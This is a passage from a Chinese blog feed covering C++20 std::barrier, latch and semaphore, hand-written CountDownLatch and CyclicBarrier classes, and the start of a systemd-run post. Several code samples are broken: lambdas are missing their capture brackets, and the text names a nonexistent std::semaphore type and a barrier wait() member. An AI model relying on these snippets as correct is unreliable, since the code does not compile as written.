    sem.acquire();  &amp;#x2F;&amp;#x2F; 获取信号量
    &amp;#x2F;&amp;#x2F; 对资源进行操作
    &amp;#x2F;&amp;#x2F; ...
    sem.release();  &amp;#x2F;&amp;#x2F; 释放信号量
    lat.count_down();  &amp;#x2F;&amp;#x2F; 递减门闩计数
    bar.arrive_and_wait();  &amp;#x2F;&amp;#x2F; 等待其他线程
}

int main() {
    std::thread t1(thread_func);
    std::thread t2(thread_func);
    t1.join();
    t2.join();
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个示例中，我们使用std::latch来同步两个线程，使用std::semaphore来限制对资源的并发访问，使用std::barrier来同步两个线程。&lt;&#x2F;p&gt;
&lt;p&gt;下表总结了std::barrier与其他同步工具的主要区别：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;工具&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;th&gt;特性&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;std::mutex&lt;&#x2F;td&gt;&lt;td&gt;保护共享资源免受并发访问&lt;&#x2F;td&gt;&lt;td&gt;互斥&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;std::condition_variable&lt;&#x2F;td&gt;&lt;td&gt;使线程在特定条件下等待&lt;&#x2F;td&gt;&lt;td&gt;条件等待&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;std::latch&lt;&#x2F;td&gt;&lt;td&gt;使线程在计数达到零时通过&lt;&#x2F;td&gt;&lt;td&gt;一次性&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;std::semaphore&lt;&#x2F;td&gt;&lt;td&gt;限制同时访问资源的线程数量&lt;&#x2F;td&gt;&lt;td&gt;可重用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;std::barrier&lt;&#x2F;td&gt;&lt;td&gt;在某一点同步多个线程&lt;&#x2F;td&gt;&lt;td&gt;自动重置&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;在理解这些同步工具的区别时，我们可以参考Bjarne Stroustrup的《C++ Programming Language》一书中的相关章节，其中详细介绍了这些工具的用途和使用方法。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-std-barrierde-shi-ji-ying-yong&quot;&gt;4. std::barrier的实际应用&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;4-1-shi-yong-std-barrierjie-jue-bing-fa-wen-ti-de-shi-li&quot;&gt;4.1. 使用std::barrier解决并发问题的实例&lt;&#x2F;h3&gt;
&lt;p&gt;在并发编程中，我们经常会遇到需要多个线程（Threads）同时开始执行某项任务的情况。这时，我们可以使用std::barrier来实现这个需求。std::barrier（屏障）是C++20引入的一个新特性，它可以阻塞一组线程，直到所有线程都到达某个点，然后这些线程才会同时开始执行。&lt;&#x2F;p&gt;
&lt;p&gt;让我们来看一个例子。假设我们有一个需要多个线程同时开始的任务，我们可以使用std::barrier来实现这个需求。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;thread&amp;gt;
#include &amp;lt;barrier&amp;gt;

std::barrier b(3); &amp;#x2F;&amp;#x2F; 创建一个屏障，需要3个线程到达

void task(const char* threadName) {
    std::cout &amp;lt;&amp;lt; threadName &amp;lt;&amp;lt; &amp;quot; is waiting\n&amp;quot;;
    b.arrive_and_wait(); &amp;#x2F;&amp;#x2F; 线程到达屏障并等待
    std::cout &amp;lt;&amp;lt; threadName &amp;lt;&amp;lt; &amp;quot; is processing\n&amp;quot;;
}

int main() {
    std::thread t1(task, &amp;quot;Thread 1&amp;quot;);
    std::thread t2(task, &amp;quot;Thread 2&amp;quot;);
    std::thread t3(task, &amp;quot;Thread 3&amp;quot;);

    t1.join();
    t2.join();
    t3.join();

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个例子中，我们创建了一个需要3个线程到达的屏障。每个线程在开始处理任务之前，都会先到达屏障并等待。只有当所有线程都到达屏障时，这些线程才会同时开始处理任务。&lt;&#x2F;p&gt;
&lt;p&gt;在口语交流中，我们可以这样描述这个过程：“We create a barrier that requires three threads to arrive. Each thread arrives at the barrier and waits before it starts processing the task. The threads only start processing the task when all of them have arrived at the barrier.”（我们创建了一个需要三个线程到达的屏障。每个线程在开始处理任务之前，都会先到达屏障并等待。只有当所有线程都到达屏障时，这些线程才会同时开始处理任务。）&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-2-std-barrierzai-qtbian-cheng-zhong-de-ying-yong&quot;&gt;4.2. std::barrier在Qt编程中的应用&lt;&#x2F;h3&gt;
&lt;p&gt;在Qt编程中，我们也可以使用std::barrier来同步多个线程。例如，我们可以使用std::barrier来确保所有的GUI线程在开始更新界面之前，都已经完成了数据的加载。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;QThread&amp;gt;
#include &amp;lt;barrier&amp;gt;

std::barrier b(3); &amp;#x2F;&amp;#x2F; 创建一个屏障，需要3个线程到达

class DataLoader : public QThread {
public:
    void run() override {
        &amp;#x2F;&amp;#x2F; 加载数据...
        b.arrive_and_wait(); &amp;#x2F;&amp;#x2F; 线程到达屏障并等待
    }
};

class GUIUpdater : public QThread {
public:
    void run() override {
        b.arrive_and_wait(); &amp;#x2F;&amp;#x2F; 线程到达屏障并等待
        &amp;#x2F;&amp;#x2F; 更新界面...
    }
};

int main() {
    DataLoader loader1, loader2;
    GUIUpdater updater;

    loader1.start();
    loader2.start();
    updater.start();

    loader1.wait();
    loader2.wait();
    updater.wait();

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个例子中，我们有两个数据加载线程和一个GUI更新线程。我们使用std::barrier来确保所有的线程在开始更新界面之前，都已经完成了数据的加载。&lt;&#x2F;p&gt;
&lt;p&gt;在口语交流中，我们可以这样描述这个过程：“We have two data loading threads and one GUI updating thread. We use a barrier to ensure that all threads have finished loading data before they start updating the GUI.”（我们有两个数据加载线程和一个GUI更新线程。我们使用屏障来确保所有的线程在开始更新界面之前，都已经完成了数据的加载。）&lt;&#x2F;p&gt;
&lt;p&gt;在这两个例子中，我们可以看到std::barrier在实际应用中的强大功能。它可以帮助我们更容易地同步多个线程，使我们的代码更简洁，更易于理解和维护。&lt;&#x2F;p&gt;
&lt;p&gt;在接下来的章节中，我们将深入探讨std::barrier的内部工作原理，以及如何在实际编程中有效地使用std::barrier。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-std-barrierde-zui-jia-shi-jian-he-zhu-yi-shi-xiang&quot;&gt;5. std::barrier的最佳实践和注意事项&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;5-1-ru-he-you-xiao-di-shi-yong-std-barrier&quot;&gt;5.1. 如何有效地使用std::barrier&lt;&#x2F;h3&gt;
&lt;p&gt;在并发编程中，&lt;code&gt;std::barrier&lt;&#x2F;code&gt;（屏障）是一种非常有效的同步工具。它允许多个线程在一个预定的同步点上相互等待，直到所有线程都到达这个点，然后再继续执行。这种机制可以确保所有线程在进入下一阶段之前，都已经完成了当前阶段的工作。&lt;&#x2F;p&gt;
&lt;p&gt;在使用&lt;code&gt;std::barrier&lt;&#x2F;code&gt;时，我们需要注意以下几点：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;初始化屏障的数量&lt;&#x2F;strong&gt;：在创建&lt;code&gt;std::barrier&lt;&#x2F;code&gt;时，我们需要指定一个参数，这个参数表示需要等待的线程数量。这个数量应该等于将要在屏障上等待的线程数量。如果这个数量设置得过大或过小，都可能导致程序的行为不符合预期。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;避免在同一线程上多次等待&lt;&#x2F;strong&gt;：&lt;code&gt;std::barrier&lt;&#x2F;code&gt;的设计是为了让多个线程在同一点上相互等待，而不是让同一线程在同一点上多次等待。如果在同一线程上多次调用&lt;code&gt;std::barrier::wait()&lt;&#x2F;code&gt;，可能会导致程序的行为不符合预期。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;理解屏障的周期性&lt;&#x2F;strong&gt;：&lt;code&gt;std::barrier&lt;&#x2F;code&gt;是周期性的，也就是说，当所有线程都到达屏障后，屏障会自动重置，可以被再次使用。这一点与&lt;code&gt;std::latch&lt;&#x2F;code&gt;（门闩）不同，&lt;code&gt;std::latch&lt;&#x2F;code&gt;在所有线程到达后就不能再被使用。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;下面是一个使用&lt;code&gt;std::barrier&lt;&#x2F;code&gt;的示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;thread&amp;gt;
#include &amp;lt;barrier&amp;gt;

std::barrier b(2); &amp;#x2F;&amp;#x2F; 创建一个需要等待两个线程的屏障

void print(const char* str) {
    std::cout &amp;lt;&amp;lt; str &amp;lt;&amp;lt; std::endl;
    b.arrive_and_wait(); &amp;#x2F;&amp;#x2F; 到达屏障并等待
}

int main() {
    std::thread t1(print, &amp;quot;Hello from thread 1&amp;quot;);
    std::thread t2(print, &amp;quot;Hello from thread 2&amp;quot;);

    t1.join();
    t2.join();

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个示例中，我们创建了两个线程，每个线程都会打印一条消息，然后到达屏障并等待。由于我们创建的屏障需要等待两个线程，所以当两个线程都到达屏障后，它们都会继续执行。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-bi-mian-chang-jian-de-std-barriershi-yong-cuo-wu&quot;&gt;5.2. 避免常见的std::barrier使用错误&lt;&#x2F;h3&gt;
&lt;p&gt;虽然&lt;code&gt;std::barrier&lt;&#x2F;code&gt;是一个强大的同步工具，但如果使用不当，也可能导致一些问题。下面我们来看一些常见的&lt;code&gt;std::barrier&lt;&#x2F;code&gt;使用错误，以及如何避免它们。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;错误的屏障数量&lt;&#x2F;strong&gt;：如前所述，创建&lt;code&gt;std::barrier&lt;&#x2F;code&gt;时需要指定一个参数，表示需要等待的线程数量。如果这个数量设置得过大，那么可能会有一些线程永远无法到达屏障，导致其他线程在屏障上无限等待。如果这个数量设置得过小，那么可能会有一些线程在其他线程还没有到达屏障时就已经继续执行，这可能会导致数据竞争或其他并发问题。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;在同一线程上多次等待&lt;&#x2F;strong&gt;：如前所述，&lt;code&gt;std::barrier&lt;&#x2F;code&gt;的设计是为了让多个线程在同一点上相互等待，而不是让同一线程在同一点上多次等待。如果在同一线程上多次调用&lt;code&gt;std::barrier::wait()&lt;&#x2F;code&gt;，可能会导致程序的行为不符合预期。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;忽视屏障的周期性&lt;&#x2F;strong&gt;：&lt;code&gt;std::barrier&lt;&#x2F;code&gt;是周期性的，也就是说，当所有线程都到达屏障后，屏障会自动重置，可以被再次使用。如果忽视了这一点，可能会导致程序的行为不符合预期。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;为了避免这些错误，我们需要确保理解&lt;code&gt;std::barrier&lt;&#x2F;code&gt;的工作原理，并在使用时遵循上述的最佳实践。&lt;&#x2F;p&gt;
&lt;p&gt;在下一章节中，我们将探讨&lt;code&gt;std::barrier&lt;&#x2F;code&gt;在未来C++版本中的可能改进，以及它在并发编程中的未来角色。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-std-barrierde-wei-lai-zhan-wang&quot;&gt;6. std::barrier的未来展望&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;6-1-std-barrierzai-wei-lai-c-ban-ben-zhong-de-ke-neng-gai-jin&quot;&gt;6.1. std::barrier在未来C++版本中的可能改进&lt;&#x2F;h3&gt;
&lt;p&gt;在C++20中，&lt;code&gt;std::barrier&lt;&#x2F;code&gt;（屏障）已经成为了并发编程的重要工具。然而，C++的发展从未停止过，我们可以预期在未来的C++版本中，&lt;code&gt;std::barrier&lt;&#x2F;code&gt;可能会有一些改进。&lt;&#x2F;p&gt;
&lt;p&gt;首先，我们可能会看到对&lt;code&gt;std::barrier&lt;&#x2F;code&gt;的性能优化。这可能包括减少内存占用，提高同步效率等。例如，我们可能会看到一种新的&lt;code&gt;std::barrier&lt;&#x2F;code&gt;实现，它使用更少的内存，但仍然能够提供相同的同步功能。&lt;&#x2F;p&gt;
&lt;p&gt;其次，&lt;code&gt;std::barrier&lt;&#x2F;code&gt;可能会增加更多的功能。例如，它可能会支持超时，这样如果一组线程在指定的时间内没有达到屏障，那么屏障就会自动解除。这将使得&lt;code&gt;std::barrier&lt;&#x2F;code&gt;在处理一些需要时间限制的并发问题时更加方便。&lt;&#x2F;p&gt;
&lt;p&gt;最后，&lt;code&gt;std::barrier&lt;&#x2F;code&gt;可能会有更好的错误处理机制。目前，如果一个线程在达到屏障之前异常终止，那么其他等待在屏障处的线程可能会永远等待下去。未来的&lt;code&gt;std::barrier&lt;&#x2F;code&gt;可能会提供一种机制，使得在这种情况下，其他线程可以得到通知并继续执行。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-2-std-barrierzai-bing-fa-bian-cheng-zhong-de-wei-lai-jiao-se&quot;&gt;6.2. std::barrier在并发编程中的未来角色&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;std::barrier&lt;&#x2F;code&gt;在并发编程中的角色可能会随着并发编程模型的发展而发展。随着多核处理器的普及和并发编程的重要性日益增加，我们可能会看到&lt;code&gt;std::barrier&lt;&#x2F;code&gt;在更多的场景中被使用。&lt;&#x2F;p&gt;
&lt;p&gt;例如，随着异步编程模型的发展，我们可能会看到&lt;code&gt;std::barrier&lt;&#x2F;code&gt;在异步编程中扮演更重要的角色。在异步编程模型中，多个任务可能会在不同的时间点开始和结束，这使得同步变得更加复杂。&lt;code&gt;std::barrier&lt;&#x2F;code&gt;可以帮助解决这种复杂性，使得异步任务可以在特定的时间点进行同步。&lt;&#x2F;p&gt;
&lt;p&gt;此外，&lt;code&gt;std::barrier&lt;&#x2F;code&gt;可能会在分布式系统中扮演更重要的角色。在分布式系统中，多个节点需要进行协调以完成一项任务。&lt;code&gt;std::barrier&lt;&#x2F;code&gt;可以帮助实现这种协调，使得所有节点可以在同一时间点开始执行下一步操作。&lt;&#x2F;p&gt;
&lt;p&gt;总的来说，&lt;code&gt;std::barrier&lt;&#x2F;code&gt;在并发编程中的未来角色将取决于并发编程模型的发展和并发问题的复杂性。我们可以期待&lt;code&gt;std::barrier&lt;&#x2F;code&gt;在未来的并发编程中扮演更重要的角色。&lt;&#x2F;p&gt;
&lt;p&gt;注意：以上内容是基于对C++和并发编程的深入理解和预测，实际的发展可能会有所不同。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;countdownlatch&quot;&gt;CountDownLatch&lt;&#x2F;h1&gt;
&lt;p&gt;用于等待其它线程都处于就绪状态：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;mutex&amp;gt;
#include &amp;lt;condition_variable&amp;gt;

class CountDownLatch {
public:
    CountDownLatch(uint32_t count) : m_count(count) {}

    void countDown() noexcept {
        std::lock_guard&amp;lt;std::mutex&amp;gt; guard(m_mutex);
        if (0 == m_count) {
            return;
        }
        --m_count;
        if (0 == m_count) {
            m_cv.notify_all();
        }
    }

    void await() noexcept {
        std::unique_lock&amp;lt;std::mutex&amp;gt; lock(m_mutex);
        m_cv.wait(lock, [this] { return 0 == m_count; });
    }

private:
    std::mutex m_mutex;
    std::condition_variable m_cv;
    uint32_t m_count;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;lantch&quot;&gt;lantch&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;供了一种机制，可以让一个或多个线程等待，直到计数器减为零。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;注意事项：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;latch 为向下计数器，即只能减少不能增加或者重置。这也使得其只能单次使用；&lt;&#x2F;li&gt;
&lt;li&gt;同时调用 latch 的成员函数，除了析构函数，不引入数据竞争；&lt;&#x2F;li&gt;
&lt;li&gt;在同一个线程中，可以多次减少 latch 计数；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;latch&amp;gt;
#include &amp;lt;thread&amp;gt;

using namespace std::literals;

int main()
{
    &amp;#x2F;&amp;#x2F; 初始化 latch 计数为 2
    std::latch done{2};

    &amp;#x2F;&amp;#x2F; 工作线程，模拟一些工作
    std::jthread t1(&amp;amp;done{
        std::this_thread::sleep_for(100ms);
        done.count_down();
        printf(&amp;quot;thread1 finish work\n&amp;quot;);
    });
    std::jthread t2(&amp;amp;done{
        std::this_thread::sleep_for(100ms);
        done.count_down();
        printf(&amp;quot;thread2 finish work\n&amp;quot;);
    });

    &amp;#x2F;&amp;#x2F; 等待工作线程完成
    done.wait();
    printf(&amp;quot;all work finished\n&amp;quot;);
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;CountDownLatch是一次性的屏障：必须至少有count个线程到达(countdown)，才将await上的线程放行；&lt;&#x2F;p&gt;
&lt;p&gt;CyclicBarrier 则是可循环利用的屏障：每parties个线程都等待在await后，才会将这parties个线程放行；(对于主动break的情况例外)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;countdownlatchshi-xian-yuan-ma&quot;&gt;CountDownLatch实现源码&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#pragma once
#include&amp;lt;assert.h&amp;gt;
#include&amp;lt;mutex&amp;gt;
#include&amp;lt;atomic&amp;gt;
#include&amp;lt;condition_variable&amp;gt;

&amp;#x2F;&amp;#x2F;一次性的屏障，必须有count个线程到达(countdown)，才将await放行；
class CountDownLatch {
public:
	CountDownLatch(int count):count(count){
		assert(count &amp;gt; 0);
	}
	&amp;#x2F;&amp;#x2F;等待，直至count减为0
	void await() {
		if (count == 0) return;
		std::unique_lock&amp;lt;std::mutex&amp;gt;lock(mx);
		cond.wait(lock, &amp;amp; {return count == 0; });
	}

	&amp;#x2F;&amp;#x2F;count减1，（最小为0）
	void countDown() {
		int old_c = count.load();
		while (old_c &amp;gt; 0) {
			if (count.compare_exchange_strong(old_c, old_c - 1)) {
				if (old_c == 1) {&amp;#x2F;&amp;#x2F;唤醒等待的线程
					std::unique_lock&amp;lt;std::mutex&amp;gt;lock(mx);
					cond.notify_all();
				}
				break;
			}
			old_c = count.load();
		}
	}
	int getCount() {
		return count;
	}

private:
	&amp;#x2F;&amp;#x2F;计数
	std::atomic&amp;lt;int&amp;gt; count;

	std::mutex mx;
	std::condition_variable cond;
};

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cyclicbarrier-shi-xian-yuan-ma&quot;&gt;CyclicBarrier 实现源码&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#pragma once
#include&amp;lt;assert.h&amp;gt;
#include&amp;lt;mutex&amp;gt;
#include&amp;lt;condition_variable&amp;gt;
&amp;#x2F;&amp;#x2F;可循环利用的屏障
&amp;#x2F;&amp;#x2F;作用:每parties个线程都等待在await后，才会将这parties个线程放行；(对于主动break的情况例外)
template&amp;lt;typename CompleteFunc&amp;gt;
class CyclicBarrier {
private:
	struct Generator {
		unsigned int id;
		bool isBroken = false;
		Generator(int id=0):id(id){}
		std::shared_ptr&amp;lt;Generator&amp;gt; nextGeneration() {
			return std::shared_ptr&amp;lt;Generator&amp;gt;(new Generator(id + 1));
		}
	};
public:
	CyclicBarrier(int parties, CompleteFunc&amp;amp; completeFunc):
		parties(parties), count(parties), completeFunc(completeFunc),
		generator(new Generator()){

	}

	&amp;#x2F;&amp;#x2F;返回值，表示线程达到顺序
	&amp;#x2F;&amp;#x2F;返回-1表示被打断，非正常返回
	int await() {
		std::unique_lock&amp;lt;std::mutex&amp;gt;lock(mx);
		auto g = generator;
		if (g-&amp;gt;isBroken) return -1;
		int index=--count;
		if (index == 0) {
			if (completeFunc)
				completeFunc();
			nextGeneration();
			return index;
		}
		cond.wait(lock);
		if (g-&amp;gt;isBroken)
			return -1;
		assert(g-&amp;gt;id != generator-&amp;gt;id);
		return index;
	}

	&amp;#x2F;&amp;#x2F;重置,如果当前有线程正等待在barrier上，则设置isBroken为true，使之返回-1；
	void reset() {
		std::unique_lock&amp;lt;std::mutex&amp;gt;lock(mx);
		breakBarrier();
		nextGeneration();
	}
	int getParties() {
		return parties;
	}
	int getNumberWaiting() {
		return parties - count;
	}

private:
	&amp;#x2F;&amp;#x2F;下一代，线程不安全
	void nextGeneration() {
		generator = generator-&amp;gt;nextGeneration();
		count = parties;
		cond.notify_all();
	}

	&amp;#x2F;&amp;#x2F;打破当前屏障，线程不安全
	void breakBarrier() {
		generator-&amp;gt;isBroken = true;
		count = parties;
		cond.notify_all();
	}

	const int parties;  &amp;#x2F;&amp;#x2F;线程协同数
	int count;  &amp;#x2F;&amp;#x2F;计数器

	&amp;#x2F;&amp;#x2F;屏障上的线程等待数达到要求时调用
	CompleteFunc completeFunc;

	&amp;#x2F;&amp;#x2F;区分第几代，以及当前代是否被break
	std::shared_ptr&amp;lt;Generator&amp;gt; generator;

	std::mutex mx;
	std::condition_variable cond;
};

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>systemd-run 运行临时命令</title>
        <published>2024-08-30T00:00:00+00:00</published>
        <updated>2024-08-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/systemd-run-运行临时命令/"/>
        <id>https://vercel.juzhong.asia/obsidian/systemd-run-运行临时命令/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/systemd-run-运行临时命令/">&lt;h1 id=&quot;systemd-run-yun-xing-lin-shi-ming-ling&quot;&gt;systemd-run 运行临时命令&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;systemd-run&lt;&#x2F;code&gt;创建并启动一个临时的 &lt;code&gt;.scope&lt;&#x2F;code&gt;、&lt;code&gt;.service&lt;&#x2F;code&gt;、&lt;code&gt;.path&lt;&#x2F;code&gt;、&lt;code&gt;.socket&lt;&#x2F;code&gt; 或 &lt;code&gt;.timer&lt;&#x2F;code&gt; 单元，并在其中运行 COMMAND 命令，可以结合 cgroup 限制资源的使用，并支持使用 systemd 管理该进程&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;jie-shao&quot;&gt;介绍&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;帮助：&lt;code&gt;man systemd-run&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;.service&lt;&#x2F;code&gt; 是一个或一组进程，由 &lt;code&gt;systemd&lt;&#x2F;code&gt; 依据单位配置文件启动，并可以作为一个整体被启动或终止&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;.scope&lt;&#x2F;code&gt; 一组外部创建的进程，前台进程。由强制进程通过 &lt;code&gt;fork()&lt;&#x2F;code&gt; 函数启动和终止、之后被 &lt;code&gt;systemd&lt;&#x2F;code&gt; 在运行时注册的进程，&lt;code&gt;scope&lt;&#x2F;code&gt; 会将其封装。例如：用户会话、容器和虚拟机被认为是 &lt;code&gt;scope&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;slice&lt;&#x2F;code&gt; 一组按层级排列的单位&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;slice&lt;&#x2F;code&gt; 并不包含进程，但会组建一个层级，并将 &lt;code&gt;scope&lt;&#x2F;code&gt; 和 &lt;code&gt;service&lt;&#x2F;code&gt; 都放置其中&lt;&#x2F;li&gt;
&lt;li&gt;真正的进程包含在 &lt;code&gt;scope&lt;&#x2F;code&gt; 或 &lt;code&gt;service&lt;&#x2F;code&gt; 中&lt;&#x2F;li&gt;
&lt;li&gt;在这一被划分层级的树中，每一个 &lt;code&gt;slice&lt;&#x2F;code&gt; 单位的名字对应通向层级中一个位置的路径&lt;&#x2F;li&gt;
&lt;li&gt;小横线（&lt;code&gt;-&lt;&#x2F;code&gt;）起分离路径组件的作用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;可以像普通的 unit 一样被 systemd 管理，也可被 &lt;code&gt;systemctl list-units&lt;&#x2F;code&gt; 显示出来&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;本质上：启动一个以 &lt;code&gt;systemd&lt;&#x2F;code&gt; 进程为父进程的，干净的、独立的执行环境。默认在后台执行（也可通过 &lt;code&gt;--no-block&lt;&#x2F;code&gt; 或 &lt;code&gt;--wait&lt;&#x2F;code&gt; 选项定制）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;默认情况下，&lt;code&gt;systemd-run&lt;&#x2F;code&gt; 创建 &lt;code&gt;simple&lt;&#x2F;code&gt; 类型的临时服务，可以通过参数 &lt;code&gt;--property=Type=exec&lt;&#x2F;code&gt; 配置&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若为 &lt;code&gt;.path&lt;&#x2F;code&gt;、&lt;code&gt;.socket&lt;&#x2F;code&gt;、&lt;code&gt;.timer&lt;&#x2F;code&gt; 单元，该单元会被立即启动&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;systemd-run --scope&lt;&#x2F;code&gt; 用于创建一个新的 systemd 作用域（&lt;code&gt;systemd scope&lt;&#x2F;code&gt;）来隔离程序的运行环境&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在 systemd 中，&lt;code&gt;systemd scope&lt;&#x2F;code&gt; 是一种资源控制单元，用于跟踪进程组的活动，并允许对它们进行管理&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;NAME
       systemd-run - Run programs in transient scope units, service units, or path-, socket-, or timer-triggered
       service units

SYNOPSIS
       systemd-run [OPTIONS...] COMMAND [ARGS...]

       systemd-run [OPTIONS...] [PATH OPTIONS...] {COMMAND} [ARGS...]

       systemd-run [OPTIONS...] [SOCKET OPTIONS...] {COMMAND} [ARGS...]

       systemd-run [OPTIONS...] [TIMER OPTIONS...] {COMMAND} [ARGS...]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;参数说明：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--slice=&amp;lt;slice-name&amp;gt;&lt;&#x2F;code&gt; 生成 cgroup 层级的名字&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--unit=&amp;lt;name&amp;gt;&lt;&#x2F;code&gt; 生成 unit 单元的名字&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-p&lt;&#x2F;code&gt; 限制资源信息&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p MemoryLimit=5M&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;shi-li&quot;&gt;示例&lt;&#x2F;h2&gt;
